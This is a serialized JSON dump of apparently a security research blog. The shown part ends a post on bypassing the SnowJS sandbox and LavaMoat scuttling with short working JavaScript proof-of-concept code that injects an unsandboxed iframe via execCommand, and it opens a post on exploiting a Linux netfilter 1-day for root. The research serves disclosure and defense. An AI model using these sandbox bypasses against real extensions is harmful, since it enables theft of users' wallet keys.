window.open('/non_existent');\nw.alert(document.domain)\n",[50597],{"type":25,"tag":115,"props":50598,"children":50599},{"__ignoreMap":7},[50600,50642],{"type":25,"tag":201,"props":50601,"children":50602},{"class":203,"line":204},[50603,50607,50612,50616,50620,50624,50629,50633,50638],{"type":25,"tag":201,"props":50604,"children":50605},{"style":208},[50606],{"type":31,"value":4074},{"type":25,"tag":201,"props":50608,"children":50609},{"style":246},[50610],{"type":31,"value":50611}," w",{"type":25,"tag":201,"props":50613,"children":50614},{"style":261},[50615],{"type":31,"value":413},{"type":25,"tag":201,"props":50617,"children":50618},{"style":246},[50619],{"type":31,"value":249},{"type":25,"tag":201,"props":50621,"children":50622},{"style":220},[50623],{"type":31,"value":80},{"type":25,"tag":201,"props":50625,"children":50626},{"style":214},[50627],{"type":31,"value":50628},"open",{"type":25,"tag":201,"props":50630,"children":50631},{"style":220},[50632],{"type":31,"value":298},{"type":25,"tag":201,"props":50634,"children":50635},{"style":267},[50636],{"type":31,"value":50637},"'/non_existent'",{"type":25,"tag":201,"props":50639,"children":50640},{"style":220},[50641],{"type":31,"value":308},{"type":25,"tag":201,"props":50643,"children":50644},{"class":203,"line":226},[50645,50650,50654,50658,50662,50666,50670,50674],{"type":25,"tag":201,"props":50646,"children":50647},{"style":246},[50648],{"type":31,"value":50649},"w",{"type":25,"tag":201,"props":50651,"children":50652},{"style":220},[50653],{"type":31,"value":80},{"type":25,"tag":201,"props":50655,"children":50656},{"style":214},[50657],{"type":31,"value":1625},{"type":25,"tag":201,"props":50659,"children":50660},{"style":220},[50661],{"type":31,"value":298},{"type":25,"tag":201,"props":50663,"children":50664},{"style":246},[50665],{"type":31,"value":1635},{"type":25,"tag":201,"props":50667,"children":50668},{"style":220},[50669],{"type":31,"value":80},{"type":25,"tag":201,"props":50671,"children":50672},{"style":246},[50673],{"type":31,"value":1645},{"type":25,"tag":201,"props":50675,"children":50676},{"style":220},[50677],{"type":31,"value":4666},{"type":25,"tag":34,"props":50679,"children":50680},{},[50681,50683,50688],{"type":31,"value":50682},"This opens a new window with a new JS Realm (another ",{"type":25,"tag":115,"props":50684,"children":50686},{"className":50685},[],[50687],{"type":31,"value":38487},{"type":31,"value":50689}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":25,"tag":34,"props":50691,"children":50692},{},[50693,50695,50702],{"type":31,"value":50694},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":25,"tag":71,"props":50696,"children":50699},{"href":50697,"rel":50698},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[75],[50700],{"type":31,"value":50701},"Metamask implementation",{"type":31,"value":3073},{"type":25,"tag":40,"props":50704,"children":50706},{"id":50705},"snowjs-attack-surface",[50707],{"type":31,"value":50708},"SnowJS Attack Surface",{"type":25,"tag":34,"props":50710,"children":50711},{},[50712],{"type":31,"value":50713},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":25,"tag":34,"props":50715,"children":50716},{},[50717,50719,50726],{"type":31,"value":50718},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":25,"tag":71,"props":50720,"children":50723},{"href":50721,"rel":50722},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[75],[50724],{"type":31,"value":50725},"hooked inserters",{"type":31,"value":50727}," functions:",{"type":25,"tag":191,"props":50729,"children":50731},{"className":193,"code":50730,"language":195,"meta":7,"style":7},"const map = {\n    Range: ['insertNode'],\n    DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n    Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n    Node: ['appendChild', 'insertBefore', 'replaceChild'],\n    Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n    ShadowRoot: ['innerHTML'],\n    HTMLIFrameElement: ['srcdoc'],\n};\n",[50732],{"type":25,"tag":115,"props":50733,"children":50734},{"__ignoreMap":7},[50735,50755,50776,50815,50869,50908,51007,51027,51048],{"type":25,"tag":201,"props":50736,"children":50737},{"class":203,"line":204},[50738,50742,50747,50751],{"type":25,"tag":201,"props":50739,"children":50740},{"style":208},[50741],{"type":31,"value":4074},{"type":25,"tag":201,"props":50743,"children":50744},{"style":246},[50745],{"type":31,"value":50746}," map",{"type":25,"tag":201,"props":50748,"children":50749},{"style":261},[50750],{"type":31,"value":413},{"type":25,"tag":201,"props":50752,"children":50753},{"style":220},[50754],{"type":31,"value":327},{"type":25,"tag":201,"props":50756,"children":50757},{"class":203,"line":226},[50758,50763,50767,50772],{"type":25,"tag":201,"props":50759,"children":50760},{"style":246},[50761],{"type":31,"value":50762},"    Range:",{"type":25,"tag":201,"props":50764,"children":50765},{"style":220},[50766],{"type":31,"value":4088},{"type":25,"tag":201,"props":50768,"children":50769},{"style":267},[50770],{"type":31,"value":50771},"'insertNode'",{"type":25,"tag":201,"props":50773,"children":50774},{"style":220},[50775],{"type":31,"value":15765},{"type":25,"tag":201,"props":50777,"children":50778},{"class":203,"line":278},[50779,50784,50788,50793,50797,50802,50806,50811],{"type":25,"tag":201,"props":50780,"children":50781},{"style":246},[50782],{"type":31,"value":50783},"    DocumentFragment:",{"type":25,"tag":201,"props":50785,"children":50786},{"style":220},[50787],{"type":31,"value":4088},{"type":25,"tag":201,"props":50789,"children":50790},{"style":267},[50791],{"type":31,"value":50792},"'replaceChildren'",{"type":25,"tag":201,"props":50794,"children":50795},{"style":220},[50796],{"type":31,"value":919},{"type":25,"tag":201,"props":50798,"children":50799},{"style":267},[50800],{"type":31,"value":50801},"'append'",{"type":25,"tag":201,"props":50803,"children":50804},{"style":220},[50805],{"type":31,"value":919},{"type":25,"tag":201,"props":50807,"children":50808},{"style":267},[50809],{"type":31,"value":50810},"'prepend'",{"type":25,"tag":201,"props":50812,"children":50813},{"style":220},[50814],{"type":31,"value":15765},{"type":25,"tag":201,"props":50816,"children":50817},{"class":203,"line":311},[50818,50823,50827,50831,50835,50839,50843,50847,50851,50856,50860,50865],{"type":25,"tag":201,"props":50819,"children":50820},{"style":246},[50821],{"type":31,"value":50822},"    Document:",{"type":25,"tag":201,"props":50824,"children":50825},{"style":220},[50826],{"type":31,"value":4088},{"type":25,"tag":201,"props":50828,"children":50829},{"style":267},[50830],{"type":31,"value":50792},{"type":25,"tag":201,"props":50832,"children":50833},{"style":220},[50834],{"type":31,"value":919},{"type":25,"tag":201,"props":50836,"children":50837},{"style":267},[50838],{"type":31,"value":50801},{"type":25,"tag":201,"props":50840,"children":50841},{"style":220},[50842],{"type":31,"value":919},{"type":25,"tag":201,"props":50844,"children":50845},{"style":267},[50846],{"type":31,"value":50810},{"type":25,"tag":201,"props":50848,"children":50849},{"style":220},[50850],{"type":31,"value":919},{"type":25,"tag":201,"props":50852,"children":50853},{"style":267},[50854],{"type":31,"value":50855},"'write'",{"type":25,"tag":201,"props":50857,"children":50858},{"style":220},[50859],{"type":31,"value":919},{"type":25,"tag":201,"props":50861,"children":50862},{"style":267},[50863],{"type":31,"value":50864},"'writeln'",{"type":25,"tag":201,"props":50866,"children":50867},{"style":220},[50868],{"type":31,"value":15765},{"type":25,"tag":201,"props":50870,"children":50871},{"class":203,"line":330},[50872,50877,50881,50886,50890,50895,50899,50904],{"type":25,"tag":201,"props":50873,"children":50874},{"style":246},[50875],{"type":31,"value":50876},"    Node:",{"type":25,"tag":201,"props":50878,"children":50879},{"style":220},[50880],{"type":31,"value":4088},{"type":25,"tag":201,"props":50882,"children":50883},{"style":267},[50884],{"type":31,"value":50885},"'appendChild'",{"type":25,"tag":201,"props":50887,"children":50888},{"style":220},[50889],{"type":31,"value":919},{"type":25,"tag":201,"props":50891,"children":50892},{"style":267},[50893],{"type":31,"value":50894},"'insertBefore'",{"type":25,"tag":201,"props":50896,"children":50897},{"style":220},[50898],{"type":31,"value":919},{"type":25,"tag":201,"props":50900,"children":50901},{"style":267},[50902],{"type":31,"value":50903},"'replaceChild'",{"type":25,"tag":201,"props":50905,"children":50906},{"style":220},[50907],{"type":31,"value":15765},{"type":25,"tag":201,"props":50909,"children":50910},{"class":203,"line":397},[50911,50916,50920,50925,50929,50934,50938,50943,50947,50952,50956,50961,50965,50969,50973,50978,50982,50986,50990,50995,50999,51003],{"type":25,"tag":201,"props":50912,"children":50913},{"style":246},[50914],{"type":31,"value":50915},"    Element:",{"type":25,"tag":201,"props":50917,"children":50918},{"style":220},[50919],{"type":31,"value":4088},{"type":25,"tag":201,"props":50921,"children":50922},{"style":267},[50923],{"type":31,"value":50924},"'innerHTML'",{"type":25,"tag":201,"props":50926,"children":50927},{"style":220},[50928],{"type":31,"value":919},{"type":25,"tag":201,"props":50930,"children":50931},{"style":267},[50932],{"type":31,"value":50933},"'outerHTML'",{"type":25,"tag":201,"props":50935,"children":50936},{"style":220},[50937],{"type":31,"value":919},{"type":25,"tag":201,"props":50939,"children":50940},{"style":267},[50941],{"type":31,"value":50942},"'insertAdjacentHTML'",{"type":25,"tag":201,"props":50944,"children":50945},{"style":220},[50946],{"type":31,"value":919},{"type":25,"tag":201,"props":50948,"children":50949},{"style":267},[50950],{"type":31,"value":50951},"'replaceWith'",{"type":25,"tag":201,"props":50953,"children":50954},{"style":220},[50955],{"type":31,"value":919},{"type":25,"tag":201,"props":50957,"children":50958},{"style":267},[50959],{"type":31,"value":50960},"'insertAdjacentElement'",{"type":25,"tag":201,"props":50962,"children":50963},{"style":220},[50964],{"type":31,"value":919},{"type":25,"tag":201,"props":50966,"children":50967},{"style":267},[50968],{"type":31,"value":50801},{"type":25,"tag":201,"props":50970,"children":50971},{"style":220},[50972],{"type":31,"value":919},{"type":25,"tag":201,"props":50974,"children":50975},{"style":267},[50976],{"type":31,"value":50977},"'before'",{"type":25,"tag":201,"props":50979,"children":50980},{"style":220},[50981],{"type":31,"value":919},{"type":25,"tag":201,"props":50983,"children":50984},{"style":267},[50985],{"type":31,"value":50810},{"type":25,"tag":201,"props":50987,"children":50988},{"style":220},[50989],{"type":31,"value":919},{"type":25,"tag":201,"props":50991,"children":50992},{"style":267},[50993],{"type":31,"value":50994},"'after'",{"type":25,"tag":201,"props":50996,"children":50997},{"style":220},[50998],{"type":31,"value":919},{"type":25,"tag":201,"props":51000,"children":51001},{"style":267},[51002],{"type":31,"value":50792},{"type":25,"tag":201,"props":51004,"children":51005},{"style":220},[51006],{"type":31,"value":15765},{"type":25,"tag":201,"props":51008,"children":51009},{"class":203,"line":437},[51010,51015,51019,51023],{"type":25,"tag":201,"props":51011,"children":51012},{"style":246},[51013],{"type":31,"value":51014},"    ShadowRoot:",{"type":25,"tag":201,"props":51016,"children":51017},{"style":220},[51018],{"type":31,"value":4088},{"type":25,"tag":201,"props":51020,"children":51021},{"style":267},[51022],{"type":31,"value":50924},{"type":25,"tag":201,"props":51024,"children":51025},{"style":220},[51026],{"type":31,"value":15765},{"type":25,"tag":201,"props":51028,"children":51029},{"class":203,"line":464},[51030,51035,51039,51044],{"type":25,"tag":201,"props":51031,"children":51032},{"style":246},[51033],{"type":31,"value":51034},"    HTMLIFrameElement:",{"type":25,"tag":201,"props":51036,"children":51037},{"style":220},[51038],{"type":31,"value":4088},{"type":25,"tag":201,"props":51040,"children":51041},{"style":267},[51042],{"type":31,"value":51043},"'srcdoc'",{"type":25,"tag":201,"props":51045,"children":51046},{"style":220},[51047],{"type":31,"value":15765},{"type":25,"tag":201,"props":51049,"children":51050},{"class":203,"line":490},[51051],{"type":25,"tag":201,"props":51052,"children":51053},{"style":220},[51054],{"type":31,"value":18073},{"type":25,"tag":34,"props":51056,"children":51057},{},[51058],{"type":31,"value":51059},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":25,"tag":34,"props":51061,"children":51062},{},[51063],{"type":31,"value":51064},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":25,"tag":40,"props":51066,"children":51068},{"id":51067},"bypassing-snowjs",[51069],{"type":31,"value":51070},"Bypassing SnowJS",{"type":25,"tag":34,"props":51072,"children":51073},{},[51074,51076,51087,51089,51095],{"type":31,"value":51075},"The deprecated ",{"type":25,"tag":71,"props":51077,"children":51080},{"href":51078,"rel":51079},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[75],[51081],{"type":25,"tag":115,"props":51082,"children":51084},{"className":51083},[],[51085],{"type":31,"value":51086},"document.execCommand",{"type":31,"value":51088}," function is used to execute commands inside a ",{"type":25,"tag":115,"props":51090,"children":51092},{"className":51091},[],[51093],{"type":31,"value":51094},"contenteditable",{"type":31,"value":51096}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":25,"tag":191,"props":51098,"children":51101},{"className":51099,"code":51100,"language":1303,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[51102],{"type":25,"tag":115,"props":51103,"children":51104},{"__ignoreMap":7},[51105],{"type":25,"tag":201,"props":51106,"children":51107},{"class":203,"line":204},[51108,51112,51116,51120,51124,51129,51134,51139,51144,51148],{"type":25,"tag":201,"props":51109,"children":51110},{"style":1295},[51111],{"type":31,"value":1298},{"type":25,"tag":201,"props":51113,"children":51114},{"style":208},[51115],{"type":31,"value":175},{"type":25,"tag":201,"props":51117,"children":51118},{"style":246},[51119],{"type":31,"value":1378},{"type":25,"tag":201,"props":51121,"children":51122},{"style":220},[51123],{"type":31,"value":1383},{"type":25,"tag":201,"props":51125,"children":51126},{"style":267},[51127],{"type":31,"value":51128},"test",{"type":25,"tag":201,"props":51130,"children":51131},{"style":246},[51132],{"type":31,"value":51133}," contenteditable",{"type":25,"tag":201,"props":51135,"children":51136},{"style":246},[51137],{"type":31,"value":51138}," autofocus",{"type":25,"tag":201,"props":51140,"children":51141},{"style":1295},[51142],{"type":31,"value":51143},">\u003C/",{"type":25,"tag":201,"props":51145,"children":51146},{"style":208},[51147],{"type":31,"value":175},{"type":25,"tag":201,"props":51149,"children":51150},{"style":1295},[51151],{"type":31,"value":1308},{"type":25,"tag":34,"props":51153,"children":51154},{},[51155,51157,51163,51165,51170],{"type":31,"value":51156},"After inserting this element to a page, it is possible to use ",{"type":25,"tag":115,"props":51158,"children":51160},{"className":51159},[],[51161],{"type":31,"value":51162},"insertHTML",{"type":31,"value":51164}," command of ",{"type":25,"tag":115,"props":51166,"children":51168},{"className":51167},[],[51169],{"type":31,"value":51086},{"type":31,"value":51171}," to add a non-sandboxed iframe.",{"type":25,"tag":191,"props":51173,"children":51175},{"className":193,"code":51174,"language":195,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[51176],{"type":25,"tag":115,"props":51177,"children":51178},{"__ignoreMap":7},[51179],{"type":25,"tag":201,"props":51180,"children":51181},{"class":203,"line":204},[51182,51186,51190,51195,51199,51204,51208,51212,51216,51221],{"type":25,"tag":201,"props":51183,"children":51184},{"style":246},[51185],{"type":31,"value":1635},{"type":25,"tag":201,"props":51187,"children":51188},{"style":220},[51189],{"type":31,"value":80},{"type":25,"tag":201,"props":51191,"children":51192},{"style":214},[51193],{"type":31,"value":51194},"execCommand",{"type":25,"tag":201,"props":51196,"children":51197},{"style":220},[51198],{"type":31,"value":298},{"type":25,"tag":201,"props":51200,"children":51201},{"style":267},[51202],{"type":31,"value":51203},"'insertHTML'",{"type":25,"tag":201,"props":51205,"children":51206},{"style":220},[51207],{"type":31,"value":919},{"type":25,"tag":201,"props":51209,"children":51210},{"style":208},[51211],{"type":31,"value":9683},{"type":25,"tag":201,"props":51213,"children":51214},{"style":220},[51215],{"type":31,"value":919},{"type":25,"tag":201,"props":51217,"children":51218},{"style":267},[51219],{"type":31,"value":51220},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":25,"tag":201,"props":51222,"children":51223},{"style":220},[51224],{"type":31,"value":308},{"type":25,"tag":40,"props":51226,"children":51228},{"id":51227},"impact-on-lavamoat-scuttling",[51229],{"type":31,"value":51230},"Impact On Lavamoat Scuttling",{"type":25,"tag":34,"props":51232,"children":51233},{},[51234],{"type":31,"value":51235},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":25,"tag":34,"props":51237,"children":51238},{},[51239,51241,51246,51248,51253],{"type":31,"value":51240},"For the exploit, the only used functions are in ",{"type":25,"tag":115,"props":51242,"children":51244},{"className":51243},[],[51245],{"type":31,"value":1635},{"type":31,"value":51247}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":25,"tag":115,"props":51249,"children":51251},{"className":51250},[],[51252],{"type":31,"value":38487},{"type":31,"value":51254}," object.",{"type":25,"tag":34,"props":51256,"children":51257},{},[51258,51260,51265],{"type":31,"value":51259},"Consider this example, which runs a scuttled ",{"type":25,"tag":115,"props":51261,"children":51263},{"className":51262},[],[51264],{"type":31,"value":1625},{"type":31,"value":26953},{"type":25,"tag":191,"props":51267,"children":51269},{"className":193,"code":51268,"language":195,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[51270],{"type":25,"tag":115,"props":51271,"children":51272},{"__ignoreMap":7},[51273,51309,51346,51389],{"type":25,"tag":201,"props":51274,"children":51275},{"class":203,"line":204},[51276,51280,51284,51288,51292,51296,51300,51305],{"type":25,"tag":201,"props":51277,"children":51278},{"style":246},[51279],{"type":31,"value":1635},{"type":25,"tag":201,"props":51281,"children":51282},{"style":220},[51283],{"type":31,"value":80},{"type":25,"tag":201,"props":51285,"children":51286},{"style":246},[51287],{"type":31,"value":1321},{"type":25,"tag":201,"props":51289,"children":51290},{"style":220},[51291],{"type":31,"value":80},{"type":25,"tag":201,"props":51293,"children":51294},{"style":246},[51295],{"type":31,"value":3914},{"type":25,"tag":201,"props":51297,"children":51298},{"style":261},[51299],{"type":31,"value":413},{"type":25,"tag":201,"props":51301,"children":51302},{"style":267},[51303],{"type":31,"value":51304}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":25,"tag":201,"props":51306,"children":51307},{"style":220},[51308],{"type":31,"value":461},{"type":25,"tag":201,"props":51310,"children":51311},{"class":203,"line":226},[51312,51316,51320,51324,51328,51333,51337,51342],{"type":25,"tag":201,"props":51313,"children":51314},{"style":246},[51315],{"type":31,"value":1635},{"type":25,"tag":201,"props":51317,"children":51318},{"style":220},[51319],{"type":31,"value":80},{"type":25,"tag":201,"props":51321,"children":51322},{"style":214},[51323],{"type":31,"value":3939},{"type":25,"tag":201,"props":51325,"children":51326},{"style":220},[51327],{"type":31,"value":298},{"type":25,"tag":201,"props":51329,"children":51330},{"style":267},[51331],{"type":31,"value":51332},"'test'",{"type":25,"tag":201,"props":51334,"children":51335},{"style":220},[51336],{"type":31,"value":3953},{"type":25,"tag":201,"props":51338,"children":51339},{"style":214},[51340],{"type":31,"value":51341},"focus",{"type":25,"tag":201,"props":51343,"children":51344},{"style":220},[51345],{"type":31,"value":1985},{"type":25,"tag":201,"props":51347,"children":51348},{"class":203,"line":278},[51349,51353,51357,51361,51365,51369,51373,51377,51381,51385],{"type":25,"tag":201,"props":51350,"children":51351},{"style":246},[51352],{"type":31,"value":1635},{"type":25,"tag":201,"props":51354,"children":51355},{"style":220},[51356],{"type":31,"value":80},{"type":25,"tag":201,"props":51358,"children":51359},{"style":214},[51360],{"type":31,"value":51194},{"type":25,"tag":201,"props":51362,"children":51363},{"style":220},[51364],{"type":31,"value":298},{"type":25,"tag":201,"props":51366,"children":51367},{"style":267},[51368],{"type":31,"value":51203},{"type":25,"tag":201,"props":51370,"children":51371},{"style":220},[51372],{"type":31,"value":919},{"type":25,"tag":201,"props":51374,"children":51375},{"style":208},[51376],{"type":31,"value":9683},{"type":25,"tag":201,"props":51378,"children":51379},{"style":220},[51380],{"type":31,"value":919},{"type":25,"tag":201,"props":51382,"children":51383},{"style":267},[51384],{"type":31,"value":51220},{"type":25,"tag":201,"props":51386,"children":51387},{"style":220},[51388],{"type":31,"value":308},{"type":25,"tag":201,"props":51390,"children":51391},{"class":203,"line":311},[51392,51396,51400,51405,51409,51413,51418,51422,51427,51432,51436,51440,51444,51448,51452,51456],{"type":25,"tag":201,"props":51393,"children":51394},{"style":246},[51395],{"type":31,"value":1635},{"type":25,"tag":201,"props":51397,"children":51398},{"style":220},[51399],{"type":31,"value":80},{"type":25,"tag":201,"props":51401,"children":51402},{"style":214},[51403],{"type":31,"value":51404},"getElementsByTagName",{"type":25,"tag":201,"props":51406,"children":51407},{"style":220},[51408],{"type":31,"value":298},{"type":25,"tag":201,"props":51410,"children":51411},{"style":267},[51412],{"type":31,"value":37800},{"type":25,"tag":201,"props":51414,"children":51415},{"style":220},[51416],{"type":31,"value":51417},")[",{"type":25,"tag":201,"props":51419,"children":51420},{"style":426},[51421],{"type":31,"value":429},{"type":25,"tag":201,"props":51423,"children":51424},{"style":220},[51425],{"type":31,"value":51426},"].",{"type":25,"tag":201,"props":51428,"children":51429},{"style":246},[51430],{"type":31,"value":51431},"contentWindow",{"type":25,"tag":201,"props":51433,"children":51434},{"style":220},[51435],{"type":31,"value":80},{"type":25,"tag":201,"props":51437,"children":51438},{"style":214},[51439],{"type":31,"value":1625},{"type":25,"tag":201,"props":51441,"children":51442},{"style":220},[51443],{"type":31,"value":298},{"type":25,"tag":201,"props":51445,"children":51446},{"style":246},[51447],{"type":31,"value":1635},{"type":25,"tag":201,"props":51449,"children":51450},{"style":220},[51451],{"type":31,"value":80},{"type":25,"tag":201,"props":51453,"children":51454},{"style":246},[51455],{"type":31,"value":1645},{"type":25,"tag":201,"props":51457,"children":51458},{"style":220},[51459],{"type":31,"value":308},{"type":25,"tag":40,"props":51461,"children":51463},{"id":51462},"snowjs-patch",[51464],{"type":31,"value":51465},"SnowJS Patch",{"type":25,"tag":34,"props":51467,"children":51468},{},[51469,51471,51478,51480,51487],{"type":31,"value":51470},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":25,"tag":71,"props":51472,"children":51475},{"href":51473,"rel":51474},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[75],[51476],{"type":31,"value":51477},"browser feature within W3C standards",{"type":31,"value":51479},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":25,"tag":71,"props":51481,"children":51484},{"href":51482,"rel":51483},"https://github.com/weizman/Realms-Initialization-Control",[75],[51485],{"type":31,"value":51486},"Here",{"type":31,"value":51488}," is their new proposal.",{"type":25,"tag":26,"props":51490,"children":51492},{"id":51491},"chaining-the-impacts",[51493],{"type":31,"value":51494},"Chaining The Impacts",{"type":25,"tag":34,"props":51496,"children":51497},{},[51498],{"type":31,"value":51499},"We were able to find two vulnerabilities in lavamoat project:",{"type":25,"tag":6944,"props":51501,"children":51502},{},[51503,51508],{"type":25,"tag":6948,"props":51504,"children":51505},{},[51506],{"type":31,"value":51507},"Policy File Bypass",{"type":25,"tag":6948,"props":51509,"children":51510},{},[51511],{"type":31,"value":51512},"Scuttling Bypass",{"type":25,"tag":34,"props":51514,"children":51515},{},[51516],{"type":31,"value":51517},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":25,"tag":34,"props":51519,"children":51520},{},[51521],{"type":31,"value":51522},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":25,"tag":26,"props":51524,"children":51525},{"id":4323},[51526],{"type":31,"value":4326},{"type":25,"tag":34,"props":51528,"children":51529},{},[51530],{"type":31,"value":51531},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":25,"tag":175,"props":51533,"children":51534},{"style":177},[51535],{"type":25,"tag":127,"props":51536,"children":51539},{"src":51537,"alt":51538,"style":183},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":25,"tag":19920,"props":51541,"children":51543},{"className":51542,"dataFootnotes":7},[19923],[51544,51549],{"type":25,"tag":26,"props":51545,"children":51547},{"className":51546,"id":16977},[19928],[51548],{"type":31,"value":19931},{"type":25,"tag":6944,"props":51550,"children":51551},{},[51552],{"type":25,"tag":6948,"props":51553,"children":51554},{"id":31850},[51555,51557,51564,51565],{"type":31,"value":51556},"Excluding SES, which was covered ",{"type":25,"tag":71,"props":51558,"children":51561},{"href":51559,"rel":51560},"https://osec.io/blog/2023-11-01-metamask-snaps",[75],[51562],{"type":31,"value":51563},"in our last article",{"type":31,"value":7966},{"type":25,"tag":71,"props":51566,"children":51568},{"href":31878,"ariaLabel":20034,"className":51567,"dataFootnoteBackref":7},[20036],[51569],{"type":31,"value":20039},{"type":25,"tag":4349,"props":51571,"children":51572},{},[51573],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":51575},[51576,51580,51586,51592,51593,51594],{"id":20455,"depth":226,"text":20458,"children":51577},[51578,51579],{"id":28,"depth":278,"text":32},{"id":48197,"depth":278,"text":48200},{"id":48953,"depth":226,"text":48956,"children":51581},[51582,51583,51584,51585],{"id":49204,"depth":278,"text":49207},{"id":49679,"depth":278,"text":49682},{"id":50336,"depth":278,"text":50339},{"id":50459,"depth":278,"text":50462},{"id":50577,"depth":226,"text":50580,"children":51587},[51588,51589,51590,51591],{"id":50705,"depth":278,"text":50708},{"id":51067,"depth":278,"text":51070},{"id":51227,"depth":278,"text":51230},{"id":51462,"depth":278,"text":51465},{"id":51491,"depth":226,"text":51494},{"id":4323,"depth":226,"text":4326},{"id":16977,"depth":226,"text":19931},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":51599,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":51600,"description":51601,"author":51602,"image":51603,"date":51605,"isFeatured":17,"tags":51606,"onBlogPage":17,"body":51609,"_type":4371,"_id":61990,"_source":4373,"_file":61991,"_stem":61992,"_extension":4376},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":51604,"height":10769,"width":7233},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[51607,51608],"kernal","linux",{"type":22,"children":51610,"toc":61958},[51611,51624,51638,51643,51649,51659,51664,51670,51675,51693,51707,51716,51749,51754,51760,51779,51812,51818,51831,52041,52108,52672,52691,52916,52975,52981,53001,53041,53229,53234,53385,53441,53446,53960,53979,54248,54274,54783,54850,54856,54892,54897,55163,55196,55208,55235,55247,55252,55258,55279,55285,55306,55329,56161,56167,56207,56747,56758,56792,56859,56913,57145,57151,57195,57659,57665,57676,57706,57789,57794,57799,57835,57887,57918,58473,58479,58496,58502,58507,58513,58541,58734,58754,58770,59365,59371,59406,59429,59441,59447,59475,60072,60097,61066,61077,61090,61103,61869,61883,61889,61901,61907,61935,61940,61944,61949,61954],{"type":25,"tag":34,"props":51612,"children":51613},{},[51614,51616,51623],{"type":31,"value":51615},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":25,"tag":71,"props":51617,"children":51620},{"href":51618,"rel":51619},"https://google.github.io/security-research/kernelctf/rules.html",[75],[51621],{"type":31,"value":51622},"KernelCTF VRP",{"type":31,"value":80},{"type":25,"tag":34,"props":51625,"children":51626},{},[51627,51629,51636],{"type":31,"value":51628},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":25,"tag":71,"props":51630,"children":51633},{"href":51631,"rel":51632},"https://github.com/conlonialC",[75],[51634],{"type":31,"value":51635},"lonial con",{"type":31,"value":51637},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":25,"tag":34,"props":51639,"children":51640},{},[51641],{"type":31,"value":51642},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":25,"tag":26,"props":51644,"children":51646},{"id":51645},"the-kernel",[51647],{"type":31,"value":51648},"The kernel",{"type":25,"tag":34,"props":51650,"children":51651},{},[51652,51654],{"type":31,"value":51653},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, 